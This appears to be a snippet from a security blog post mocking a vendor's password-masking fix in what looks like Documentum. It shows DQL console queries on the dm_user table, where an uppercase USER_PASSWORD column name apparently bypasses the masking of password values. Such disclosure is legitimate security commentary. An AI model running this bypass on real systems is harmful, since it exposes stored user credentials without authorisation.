Eradication of Illiteracy

What talented team had defined as “the information to retrieve” has a special name: projection, and, for most relational databases, names of attributes, presented in projection, are case-insensitive.

It seems that some members of talented team think that they are smart enough to read this blog and make some conclusions about security:

API> ?,c,select user_password from dm_user where user_name=USER
user_password   
----------------
****************
(1 row affected)

API> ?,c,select * from (select user_password from dm_user where user_name=USER)
user_password   
----------------
****************
(1 row affected)

But all their attempts are doomed to failure:

API> ?,c,select USER_PASSWORD from dm_user where user_name=USER
user_password
-----------------------------------------------------------------------
